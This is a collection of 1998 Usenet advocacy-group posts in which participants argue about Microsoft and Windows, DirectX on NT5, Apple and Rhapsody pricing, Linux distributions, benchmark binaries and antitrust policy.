> have competitiors, whether you believe it or not.
> > > >Sorry, I don't have any statistics, it was only my oppinion.
>
> > > Well, then please represent it that way...or as your own
experience,
> >or something else...not a proven conclusion.
>
> >This does not have to do something with newsgroups are whatever
> >groups you meant. IMHO, it is as general tendency.
>
> Not in my experience. Relate it as YOURS, that's all I ask.
>
> > > > It seems that nearly everytime I hear about Microsoft or about
> >Windows, be it from my friends, in the University where I study
(computer
> >engineering), at work, on the web,... it seems that everywhere
there are
> >complaints.
>
> > > Complaints don't equal hatred, for example I complain about my
Amiga
> >500 all the time, but I wouldn't throw the old girl away, even if I
do
> >have a better choice right next to it...
>
> >So you love Windows like you love your Amiga?
>
> Did I say that? No, I didn't. I merely said complaints don't always
equal
> hatred, and provided an anecdotal example.
They are not alway equal, but in the case of MS products... very often.
> > Or do you think that there are more people that love Windows like
you love
> >your Amiga than people that hate it?
>
> One doesn't have to love something to not hate it.
Are you talking about girls or about MS?
> > > > Don't you experience the same?
>
> > > Not a general level of hatred. Nor all that many complaints
about
> > > Microsoft, as opposed to problems with the OS and programs..
>
> >Now, the complaints about the OS and the programs from Microsoft are
not
> >of the kind of your complaints about your Amiga.
>
> How do you know? Have you been listening to my conversations? When
> did you start examining my life?
>
I thought I can say that based on what you say. But maybe I am wrong.
Maybe
the reason why you still have your amiga is the same as why you still
have
win95...
> > Maybe there are not *yet* so many people that complain about M$,
but many
> >that complain about Windows or Office97 or whatever.
>
> Of course....there are plenty of Windows/Office(anything users), but
just
> because they complain with something goes wrong does NOT mean they
hate
> that software.
Now, that depends on how much they complain. I think you would not say
"this
wonderful perfect software is really very very good, and it crashes,
throws
away my data, destroys hours or even days of work, makes me reboot once
an
hour, has to be reinstalled often... I love it.
> >And if you once have to write something with winword98 and then,
after
> >severalhours, you are at last ready, it refuses to save your work,
then you
> >*will* hate it.
>
> No, I won't. I'll say "Stupid piece of shit, why aren't you
working?" but I
> still won't hate it.
What does a piece of software have to do to make you hate it?
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: cancel <35569586.56D72D70@nstar.net>
Control: cancel <35569586.56D72D70@nstar.net>
Date: Mon, 11 May 1998 07:24:35 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <6j69cd$7ai$1@news13.ispnews.com>
References: <35569586.56D72D70@nstar.net>
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This message was cancelled from within Mozilla.
From: freek@phil.uu.nl (Freek Wiedijk)
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Date: 11 May 1998 10:16:11 +0200
Organization: Department of Philosophy, Utrecht University, The Netherlands
Message-ID: <6j6c4b$dbc$1@larry.admin.phil.uu.nl>
References: <6it738$ceg$1@newsfep4.sprintmail.com> <Barry-ya02408000R0705982252550001@nntp.netgate.net> <6ivef6$ntb$1@newsfep2.sprintmail.com> <6ivm1r$9un$1@larry.admin.phil.uu.nl> <joe.ragosta-0905981301430001@elk37.dol.net> <6j2eil$2ju$2@nntp2.ba.best.com> <3554d2bb.0@news.depaul.edu>
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Jonathan:
>It depends on the size of the screen, though. WinCE machines
>seem to be able to keep the price down.
_When_ has Apple ever been able to keep the price down? <- rhetorical question
Screen size hasn't much to do with it.
Even this iMac thingy is more expensive than a comparable
Windows box. Yes, yes, I know, I know, it's faster, it has
Apple quality, etc. etc., but if all you want is a box that
you can surf the Interweb with, the iMac is more expensive
than the low end Windows options. I guess (I don't know that
much about Windows really.)
Freek
From: cabneySPAM@SPAM.SPAMcyberpass.net (C. Abney)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 11 May 1998 02:31:48 GMT
Organization: Infonex Internet Services
Message-ID: <6j5nuk$fr2$2@news.infonex.net>
References: <6ipuoa$606$4@strato.ultra.net> <6ipvus$s9i@shelob.afs.com>
<35508936.514A@CONVEX.COM> <35577677.21461540@news.nai.net>
<3551BB43.5BD48B58@nstar.net>
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In article <3551BB43.5BD48B58@nstar.net>,
"Michael J. Peck" <mjpeck@nstar.net> writes:
>> kinda like scsi eh?
> Yeah, all except for the expense and effective length of the chain and
> ease of setup and simplicity of protocol.
you forgot the speed, the ease of setup, and the simplicity of protocol.
--
Einstein himself said that God doesn't roll dice. But he was wrong. And
in fact, anyone who has played role-playing games knows that God
probably had to roll quite a few dice to come up with a character like
Einstein. -- Larry Wall C. Abney
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 11 May 1998 08:41:55 GMT
Organization: P & L Systems
Message-ID: <6j6dkj$4f3$10@ironhorse.plsys.co.uk>
References: <6ip03a$di9$1@crib.bevc.blacksburg.va.us> <B1759745-221A2@206.165.43.102>
<6iptqc$4f3$2@ironhorse.plsys.co.uk> <6itjb5$hq0$1@nntp3.interaccess.com>
<6iugi6$4f3$7@ironhorse.plsys.co.uk> <rmcassid-0805981234220001@dante.eng.uci.edu>
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Cc: rmcassid@uci.edu
In <rmcassid-0805981234220001@dante.eng.uci.edu> Robert Cassidy wrote:
> In article <6iugi6$4f3$7@ironhorse.plsys.co.uk>, mmalcolm crawford
> <malcolm@plsys.co.uk> wrote:
>
>
> >I don't care, though, what the volume setting number is -- I usually want
to
> >change the volume when I'm listening to something, so I get direct audio
> >feedback. Most frequently I want to mute the whole thing immediately,
which
> >I can achieve using the Command-soundDown key combination. To open a
control
> >panel and find the mute switch takes longer.
>
[...]
> I say put both controls in. Though I like GoMac better for Control Strip
> Modules than Apple's utility. I find I use both the CSM and the hardware
> buttons about as often - depending on what I'm doing.
>
Oh, absolutely -- I'm sorry if it looked like I was arguing against having
some sort of s/w-based volume control, I certainly think that they should
both be available.
Best wishes,
mmalc.
From: Rolf Magnus <ramagnus@zvw._REMOVE_THIS_de>
Newsgroups: comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.amiga.advocacy,comp.os.ms-windows.advocacy,comp.sys.mac.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Mon, 11 May 1998 11:56:22 -0700
Organization: Robert Bosch GmbH, Reutlingen, Germany
Message-ID: <355749D6.35AD@zvw._REMOVE_THIS_de>
References: <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <199805051707.MAA01735@comp.uark.edu> <Pine.BSF.3.96.980505110737.20648B-100000@shell4.ba.best.com> <casper-0505981900370001@wheat-d-19.monroeville.nb.net> <6j2q9p$2mg$1@usenet11.supernews.com> <MPG.fbec2e0148eba92989d7b@news1.mnsinc.com> <M3mPvLdzxX1t-pn2-BL3e0qwzKqDg@p210-67-34-153.ts.sysnet.net.tw> <6j497o$r5q$1@nargun.cc.uq.edu.au> <uprsNDlpp0Dh-pn2-xWG5dQM4sr46@dyn49.tc1.mineola.i-2000.net> <35567494.822830@news.qualcomm.com> <6j603p$7m6$1@supernews.com>
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Todd Bandrowsky wrote:
> On the other hand, if all of those applications were written to
Direct X,
> you could have little singing and dancing real time personal agents,
the
> user interface would be peppier and more interactive, and all of your
stuff
> would be more fun.
... and you would need at least a P2/300Mhz with 64 Megs ram and a 3d
card
to do some word processing or to create a database for your CDs. Also
this
"little singing and dancing realtime personal agents" would apppear nice
and cool to you in the beginning, but after some short time, it will be
annoying. Just like this cute thing in Office 97.
From: SnowSim@halcyon.com (Simulated Snow)
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Date: Mon, 11 May 1998 01:59:27 -0700
Organization: Baloney Research Institute
Message-ID: <SnowSim-1105980159280001@blv-ux100-ip3.nwnexus.net>
References: <6it738$ceg$1@newsfep4.sprintmail.com> <Barry-ya02408000R0705982252550001@nntp.netgate.net> <6ivef6$ntb$1@newsfep2.sprintmail.com> <6ivm1r$9un$1@larry.admin.phil.uu.nl> <joe.ragosta-0905981301430001@elk37.dol.net>
In article <joe.ragosta-0905981301430001@elk37.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <6ivm1r$9un$1@larry.admin.phil.uu.nl>, freek@phil.uu.nl (Freek
> Wiedijk) wrote:
>
> > Barry:
> >
> > >Steve Jobs did say they were planning a consumer level portable to be
> > >introduced in '99. There are also rumours going round of a Mac in the eMate
> > >form factor. Cross that with the iMac and what do you get?
> >
> > It will be over $1000. Too expensive to be a hit.
> >
>
> Huh? Apple puts together an iMac for $1299 and you think an eMac would be
> over $1,000?
I'm betting that the iMac is under $900 actual street price before Turkey day
& a plethora of USB items are available for good measure
A very Mele Kalikimaka for Apple
--
"I know of no safe depository of the ultimate powers of the society but the
people themselves; and if we think them not enlightened enough to exercise their
control with a wholesome discretion, the remedy is not to take it from them but
to inform their discretion." - Thomas Jefferson
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net> <355337E7.AB397170@alum.mit.edu> <fuR41.360$sy4.1232831@news.rdc1.sdca.home.com> <MPG.fbe216587510224989691@news.supernews.com> <8C251.531$sy4.1591596@news.rdc1.sdca.home.com> <MPG.fbe7482b277f658989694@news.supernews.com> <2rs51.1084$sy4.1591596@news.rdc1.sdca.home.com> <35568A1C.467C3E71@nstar.net>
In-Reply-To: <35568A1C.467C3E71@nstar.net>
From: not@my.address.net
Message-ID: <wAB51.973$0A3.4513475@news.itd.umich.edu>
Date: Mon, 11 May 1998 11:48:44 GMT
NNTP-Posting-Date: Mon, 11 May 1998 07:48:44 EDT
On 05/10/98, "Michael J. Peck" wrote:
[ ... some pious, self-indulgent prose followed by the following "deep" quote
... ]
>In the words of David Forte:
>
[cut]
> ... a virtuous person without freedom is a contradiction in terms."
>
Really? Let's check. "He was honest, courageous, kind, and humble -- even
though he was imprisoned for a crime which he did not commit." Sounds coherent
to me. Certainly not in the same league as "He was taller than himself".
--
invert: umich.edu jdevlin
insert: shift "2"
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: 11 May 1998 14:33:23 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6j727j$4c9@newsb.netnews.att.com>
References: <35522293.731DC4F3@alum.mit.edu> <35534C47.454F66AA@trilithon.com> <6iv3ne$ekq$3@ns3.vrx.net> <35536982.656F@convex.com>
Originator: gupta@tlctest
Michael Peck <MJPECK@CONVEX.COM> wrote:
>Actually, no. The "breakup" of AT&T did not increase competition, it
Divestiture increased competition in the long-distance market, and
left the local market the same.
>actually created a government-regulated monopoly of RBOCs with
>individual operating areas and little or no local-call competition. The
>quality of service during the operation of this regulated monopoly has
>actually been *crawling* forward, and innovation has only shown great
>leaps of progress in the relatively-free long-distance market (where the
>"better off" AT&T operates).
>
>Since legislation was passed, recently, to tear down this ridiculous
>bureacratically-instituted regulated monopoly, long-distance carriers
>have been allowed to compete with RBOCs and mergers and spin-offs have
>been allowed to take place with relatively little involvement from the
>Federal Government. Since that time, prices have plummeted and service
There is still no effective competition in the local market.
Local access prices haven't plummeted and service hasn't shot
up dramatically. The RBOCS have tied up in the courts the legislation
that was passed, and hardly any provisions of that legislation have
been implemented.
-arun gupta
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Byte deletes binaries and puts up apple tweaked binary???
Date: 11 May 1998 14:41:01 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6j72lt$4dc@newsb.netnews.att.com>
References: <6iovd2$f0c$2@newsfep3.sprintmail.com> <6iqh48$p4t$2@newsfep1.sprintmail.com> <joe.ragosta-0805981110530001@wil126.dol.net> <6ivfd4$ntb$2@newsfep2.sprintmail.com>
Originator: gupta@tlctest
<macghod@concentric.net> wrote:
>
>They claim the bytemark executables have been constant and unchanged for two
>years, yet, on april 6 the deleted the 2 executables that produced low scores
>for macs, and replaced them with what apple used to get a high score.
>
>If the same thing occured and it was intel and not Apple, EVERYONE here knows
>exactly what you would say.
I'm glad you are able to discuss it at all.
For stuff like Microsoft's IIS web server, and increasingly for
other vendors' software, you cannot disclose benchmarks you have
run to third parties without the vendor's permission, as per the
software license.
And upcoming legislation is going to bless such provisions in
licenses.
-arun gupta
From: xray@cs.brandeis.edu (Nathan G. Raymond)
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: 11 May 1998 15:07:16 GMT
Organization: Brandeis University - Computer Science Dept.
Message-ID: <6j7474$k3t$1@new-news.cc.brandeis.edu>
References: <MPG.fbe216587510224989691@news.supernews.com> <8C251.531$sy4.1591596@news.rdc1.sdca.home.com> <MPG.fbe7482b277f658989694@news.supernews.com>
In article <MPG.fbe7482b277f658989694@news.supernews.com> don.brown@cesoft.com (Donald Brown) writes:
[snip]
>If you can't come up with anything better enough to get people to go your
>way, if you can't come up with a better answer, you cannot ask the
>government to trip your opponent so you can win.
1. Where there exists a monetary inequity, there exists a power inequity
2. Where there exists a power inequity, there exists a market imbalance
3. Market imbalances are impossible to avoid, the question is how to deal
with them and how to define the strata for action within the law
>BS. You can write anything you like. You are confusing freedom of
>speech with the right to be heard. You can make a program that does
>anything you jolly well please. If customers prefer Microsoft's
>solution, well, that's their right to choose.
The marketplace is a multi-dimensional space where actions are vectors
that operate in those dimensions, and entities have mass and momentum.
The ability for a small entity to come out with a great product does not
change the mass or momentum of established and entrenched competing market
entities. This is the point of your comfusion - what you describe does
not accurately simulate actual market dynamics.
>Then write an ACCESS-compatible databae for Mac. Write a standard Java
>for Windows. Put up websites with standard controls. COMPETE.
What you describe is not possible because of market momentum that takes
the form of proprietary interface, proprietary file formats, proprietary
vendor agreements, marketplace brand recognition, established support
infrastructure, established third party training materials, and many, many
other factors that prevent any product from competing in the qualitative
areas that consumers *feel* count.
[snip]
>But, if the problem is "They're big and I'm small and more customers
>listen to them than I and I want the government to do something about
>it", that's where I'll fight you.
>
>Because I have a dream of being big someday and having more customers
>listening to me than others. And I do not want the reward of my hard
>work and success being living under a beaurocrat's thumb.
Markets are not either/or. It's not either living under a beurocrat's
thumb or not. Just study the Scandanavian system of government and its
relationship to big business to see what I mean.
With large-scale company mergers being allowing in the name of "global
competitiveness", companies are approaching the stage where they wield
more power than the governments that govern them. They are able to
leverage their profits not only in their markets, but in the political
sphere in ways that are advantageous to themselves. What possible
dis-incentive does a large company have NOT to influence laws and
lawmaking in their favor if they have that power? Why wouldn't they want
to buy out politicians? Why wouldn't they want to capture markets and
push out competition on a global scale? You might be able to create the
argument that companies that become monopolies become weak to
foreign innovation and competition, but what happens when this all reaches
a global scale and companies do dwarf governments? In the United States,
I fail to see any dis-incentives for making this a future strategic
direction. Why not try to gain maximum control over your market? Don't
companies here in the west just care about making their investors money
anyway?
--
Nathan Raymond
http://www.everythingmac.com
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MklinuxDR2 & RhapsodyDR2 running side by side?
Date: 11 May 1998 16:44:20 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6lean4.4k9.sal@panix3.panix.com>
References: <6ijpv5$p11@nnrp1.farm.idt.net> <354dd457.0@news.depaul.edu> <6iofql$ake@bgtnsc01.worldnet.att.net> <6ip8vm$oum$12@ns3.vrx.net> <6ir6mg$6ej@bgtnsc03.worldnet.att.net> <6irtmn$r1i$4@ns3.vrx.net> <slrn6l3kt8.2pd.sal@panix3.panix.com> <6itlni$92o$7@blue.hex.net> <6iugpo$1fd$1@ns3.vrx.net>
On 8 May 1998 08:46:48 GMT, Maury Markowitz <maury@remove_this.istar.ca> wrote:
>In <6itlni$92o$7@blue.hex.net> Christopher Browne claimed:
>> Which is all *rather* interesting when you consider that GNOME
>> is a GPLed project.
> Well it's certainly in RedHat's best interests to make Linux easier to use.
> On the other hand I have looked at GNOME, and it's simply not GNUStep.
And GNUStep isn't CDE. Just because it is different, doesn't mean that it isn't
good. My issue is that they all look like Win95, OpenStep or Motif knock-offs.
I haven't seen anything truly interesting.
>> a) It is possible to cohost MkLinux along with Rhapsody, or
> Would running Linux apps be good enough.
It should be, but for some reason many Linux users think that it isn't. LINUX
IS A KERNEL, NOT AN OS. Much, (if not most, I havn't done a % comparision)
of "Linux" is taken from BSD, GNU and other GPL sources that are not in any
way exclusive to Linux. Xfree86 runs on BSD and Sco. Perl runs on just about
everything. You can get a full Gnu distribution for HP/UX, AIX or IRIX. I fail
to see why you need to run Linux along with Rhapsody. If you *need* Linux,
just dual-boot.
>> b) Apple releases a "free" YellowBox library allowing apps to run on
>> Linux too, or
> I can't see them doing this, the market space isn't that large, and
>"demands" free everything. Apple has too much history in keeping it's cards
>close to it's vest.
I talked to a guy from a major DB vendor. He described the Linux comunity as
"high-demand low-profit" He told me that one of the managers saves the long
rambling "manifesto style" letters that he gets from Linux users and uses them
as ammunition to shoot down any plans to port the productline to Linux.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: "Pinochet" <9grayhome9@00sprintmail0me0.com>
Newsgroups: comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Mon, 11 May 1998 11:56:15 -0500
Organization: BOB
Message-ID: <6j7ai3$t42$1@newsfep3.sprintmail.com>
References: <gmgraves-2604981232290001@sf-pm5-2-66.dialup.slip.net> <3544B94D.AEA0CC67@algonet.se> <01HW.B16A93530002A33B01453580@news.sprynet.com> <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <Pine.BSF.3.96.980504131937.4385B-100000@shell4.ba.best.com> <6iljjf$etu$1@newsfep4.sprintmail.com> <354F4C4F.3C93@zvw._REMOVE_THIS_de> <6ingl7$f7$1@newsfep1.sprintmail.com> <3550A11D.7A@zvw._REMOVE_THIS_de> <6iq6mm$e4g$1@newsfep1.sprintmail.com> <3551DE2B.1967@zvw._REMOVE_THIS_de> <6isol3$4h2$1@newsfep4.sprintmail.com> <355341E6.5AE9@zvw._REMOVE_THIS_de> <6ivd14$nj8$1@newsfep2.sprintmail.com> <355727EC.7731@zvw._REMOVE_THIS_de>
Rolf Magnus wrote in message <355727EC.7731@zvw._REMOVE_THIS_de>...
>Pinochet wrote:
> > >Yes. But on which os?
> >
> > Hopefully both of them...those hopes are, of course, supported by MS
> > stated plans, so its not a great leap of faith.
>
>That's my point.
? No, that's my point. Your point seems to be that the leap of faith
is a large one.
> > >My doubt is based on the marketing strategies I see from Microsoft.
> > >It's not certain, but likely.
> >
> > I consider it unlikely based on a couple reasons:
> >
> > One MS has made drivers fully interoperable between NT and 98.
> > Two MS intends to kill off the 9X line'
> > Three MS is doing its best to ensure FULL DirectX compatibility on
> > NT5 and Windows 98.
>
>One does not enforce MS to releas on both.
? Force? Why would any of these have to be a requirement?
These are just indicators, not absolute certainties.
>Two that's correct. After this is done, there won't be that problem,
> but in exchange for what?
In exchange for the greater stability of the NT platform? Less baggage
left over from the days of DOS?
>Three I would not be too sure about that. I see how things are on
>W95/NT4.
And perhaps MS learned something from this? Or its priorities are
different? Things do change you know.
> > Huh? Um, the only reason DX6 will only be on W98 for ANY period,
> > (If it indeed happens, which isn't certain), will be because NT5 has
>yet
> > to be released.. That's the ONLY REASON.
>
>I still don't see the reason they develop it under NT.
Because they want to do it? Because NT is a better development platform?
> > >I am sure that win98 will offer some new features for games that are
> > >needed to write a cutting edge game and that are not, or at least
> > >very hard to do in win95.
> >
> > So you're saying MS SHOULDN'T improve its products?
>
>No! I said that MS will not improve W95, although they should.
Hey, there's a certain point where MS won't bother. Why? Because
they won't be selling W95 much anymore, and improving it too much
would be decreasing the desirability of W98.
> > Gee, thanks,
> > I like that. Maybe we should go back to DOS 1.0 while we're at it.
> > Question: Have you ever read Ayn Rand's _Anthem_ ? You might find
> > it interesting...its a short book, so it shouldn't take to much of
>your time.
>
>Now, if you say that I don't need W98, because W95 will be compatible to
>my new games,
Nope, I'm not saying that. I'm saying it might happen. Or it might not.
>and I say that MS will make this impossible, why does this mean that I
think
> MS should not improve their products.
Well, I'm not sure of the context of this statement, the quoting and time
involved
has confused me a bit, but there's a certain point where you just don't
support something, because its well, a waste of effort. Besides Windows 95
has been
improved, every hear of OSR2? (Or 2.1? ) Or the patches one can
get for them?
>My oppinion about that is that MS should improve their existing products
>instead of creating new ones that are likely to be even more crap than
>the existing ones.
Um, that would be why Windows 98 and NT 5 will be released. And
why one can get patches for those and earlier OS and programs.
> > >It's NOT irrelevant that Microsoft does not care about the users of
> > >their current OS,
> >
> > Untrue. MS does care, that's why you can get patches for the above
> > OS, ain't it ?
>
>I said that they are crap. Or has the new DX5 for NT have all the
>features of the W95 version and run as good as on W95?
Try it and find out. But you do know this patch is unoffical, and the
result of a leak, and not an offical release, don't you?
> I would really be amazed.
Me too.
> > >but develop new things on an OS that comes out in the y2k or so.
> >
> > NT5 will come out in late 1998 or early 1999, unless delayed because
> > of unforseen difficulties.
>
>"unforseen difficulties"... that's cool. It's also cool to see all those
>release dates that people talk about.
Hey, what is MS supposed to do if the DOJ slaps them with an injunction,
or an earthquake hits Redmond, or a dozen other things? Heck, would
you prefer MS to ship an even more incomplete product?
> > >They do NOT tell the truth to you and others (to anyone?)...
> >
> > So MS always lies? Now you know that ain't true. And the truth can
>be found out, even is MS does cover it in PR and flack.
>
>It can be found out, but not from MS.
Sure it can.
>Do you really think that MS tells anyone about the security leaks in
>their products?
We're not talking about a Security leak here.
>I think they only if someone else knows about it and tells it
>to the people.
Yawn. MS has press releases everyday I'm sure, and if you're
well known enough in the industry you can probably talk to some
of the people in the know up there. Heck, just have a friend on the
inside.
> > > > They could, but they probably won't....in fact they've said they
> > >won't.
> >
> > >I want to see it to believe it...
> >
> > Fine. Just wait for the products to come out.
>
>... to prove that I was right.
Or that you were wrong.
> > >So you love Windows like you love your Amiga?
> >
> > Did I say that? No, I didn't. I merely said complaints don't always
>equal hatred, and provided an anecdotal example.
>
>They are not alway equal, but in the case of MS products... very often.
Not in my experience.
> > > Or do you think that there are more people that love Windows like
>you love your Amiga than people that hate it?
> >
> > One doesn't have to love something to not hate it.
>
>Are you talking about girls or about MS?
So how many people do you know that have only two emotional levels?
> > >Now, the complaints about the OS and the programs from Microsoft are
>not of the kind of your complaints about your Amiga.
> >
> > How do you know? Have you been listening to my conversations? When
> > did you start examining my life?
> >
>
>I thought I can say that based on what you say. But maybe I am wrong.
>Maybe the reason why you still have your amiga is the same as why you still
>have win95...
I don't even have windows 95 thank you.
> > >And if you once have to write something with winword98 and then,
>after
> > >severalhours, you are at last ready, it refuses to save your work,
>then you
> > >*will* hate it.
> >
> > No, I won't. I'll say "Stupid piece of shit, why aren't you
>working?" but I still won't hate it.
>
>What does a piece of software have to do to make you hate it?
I dunno. Never really hated a piece of software. Kind of wasteful.
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MklinuxDR2 & RhapsodyDR2 running side by side?
Date: 11 May 1998 17:06:55 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6lec1f.4k9.sal@panix3.panix.com>
References: <6ijpv5$p11@nnrp1.farm.idt.net> <354dd457.0@news.depaul.edu> <6iofql$ake@bgtnsc01.worldnet.att.net> <6ip8vm$oum$12@ns3.vrx.net> <6ir6mg$6ej@bgtnsc03.worldnet.att.net> <6irtmn$r1i$4@ns3.vrx.net> <slrn6l3kt8.2pd.sal@panix3.panix.com> <SCOTT.98May7225008@slave.doubleu.com>
On 8 May 1998 02:01:55 -0500, Scott Hess <scott@doubleu.com> wrote:
>In article <slrn6l3kt8.2pd.sal@panix3.panix.com>,
> sal@panix3.panix.com (Salvatore Denaro) writes:
> "Sanely priced" is a relative measure. A guy at the local software
> store that I go to, told me that the $30 official RedHat5 out sells the
> $12.50 InfoMagic RedHat5 bundle. Why would people pay more? Perceived
> value.
>
>That's not all that's at work, though. I installed RedHat5.0 over the
>net with ftp (behind a 1.5Mbit connection). So, in a sense I got it
>for "free". I like it so much that I'm considering buying a copy. If
<<SNIP>>
>So, I'm treating it essentially as shareware.
I went from Slackware to RedHat based on pretty much the same "I liked
it so I'll buy it" excuse. I hoped that RedHat would be a nicer install
than SW and it was. I also wanted a better X than XFree86, so I went
with MetroX.
The shareware analogy works pretty well.
> It becomes clear that for Rhapsody to sell at $100, Apple has to
> make it clear that you get more than you get in that $30 RedHat
> package or it wont sell well to Linux users.
>I'd say that the "commercial" aspect will probably carry it to $100
>easily. For Linux, you tend to pay more for convenience - you can put
>in some sweat equity and get it free, you can get it really cheap with
Good point.
>Furthermore, I'm not sure why Rhapsody at $100 really competes with
>RedHat at $30 - if RedHat does all you care for, why would you get
>Rhapsody at _any_ price over $30?
The only reason to buy Rhapsody is to use it (unless you're a software
collector :) If Linux or OpenBSD does everything you need/want then
you might not care at all about Rhapsody.
The interest in Gnome/KDE/GNUStep and CDE proves that there are a lot
of FreeNIX users that want a Unix with a better UI and a better set of
dev tools. This will most likely be the prime selling point.
> If RedHat just doesn't do something
>you want that Rhapsody has, $100 is an emminently reasonable price to
>pay to get the functionality.
$100 is a very reasonable price for Rhapsody. $150->$200 is also (IMHO)
perfectly reasonalbe. The question is "Are people going to see it as
a reasonable price?" Some will, others will not. Heck, there was some
whining about BeOS selling for $70.
>[Note that if Rhapsody comes out at $100, and you can develop for it
>for under $500, there will be some _very_ happy and amazed people out
The quote from Apple was "Less than OpenStep, more than MacOS" I think
it will be between $150 and $250.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.amiga.advocacy,comp.os.ms-windows.advocacy,comp.sys.mac.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: 11 May 1998 17:28:52 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ledak.4k9.sal@panix3.panix.com>
References: <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <199805051707.MAA01735@comp.uark.edu> <Pine.BSF.3.96.980505110737.20648B-100000@shell4.ba.best.com> <casper-0505981900370001@wheat-d-19.monroeville.nb.net> <6j2q9p$2mg$1@usenet11.supernews.com> <MPG.fbec2e0148eba92989d7b@news1.mnsinc.com> <M3mPvLdzxX1t-pn2-BL3e0qwzKqDg@p210-67-34-153.ts.sysnet.net.tw> <6j497o$r5q$1@nargun.cc.uq.edu.au> <uprsNDlpp0Dh-pn2-xWG5dQM4sr46@dyn49.tc1.mineola.i-2000.net> <35567494.822830@news.qualcomm.com> <6j603p$7m6$1@supernews.com>
On Mon, 11 May 1998 00:55:35 -0400, Todd Bandrowsky <tbandrowsky@del.net> wrote:
>On the other hand, if all of those applications were written to Direct X,
>you could have little singing and dancing real time personal agents, the
>user interface would be peppier and more interactive, and all of your stuff
>would be more fun.
I hope this was a sarcastic comment, t doesn't sound like fun to me. If anything,
it sounds like a major waste of time. Fun is getting a project done early. Fun
is finding a way to save your company money. Fun is having more time for your
personal life, and interacting with real people; not little cartoons.
If you need cartoons on your machine to make your job "fun", then find a new job.
You obviosly don't enjoy your current one.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Byte deletes binaries and puts up apple tweaked binary???
Date: Mon, 11 May 1998 13:54:29 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1105981354290001@132.236.171.104>
References: <6iovd2$f0c$2@newsfep3.sprintmail.com> <djboccip-0605981313420001@qburst.msfc.nasa.gov> <6iqh48$p4t$2@newsfep1.sprintmail.com>
In article <6iqh48$p4t$2@newsfep1.sprintmail.com>, macghod@concentric.net wrote:
> I never said they were. I said the binaries on bytes web page WERE of
> codewarrior and something else. I checked a couple of weeks ago, and their
> were TWO binaries, one was codewarrior and one was something else. Eric
> bennet can confirm this, he downloaded both of them and ran them, one scored
> about a 5.5 on a g3 266, the other scored about a 6.5.
7.5. The 6.5 (or thereabouts) was egcs under Linux.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: jonathan.naude@zzunivie.ac.at (Jon Naude)
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
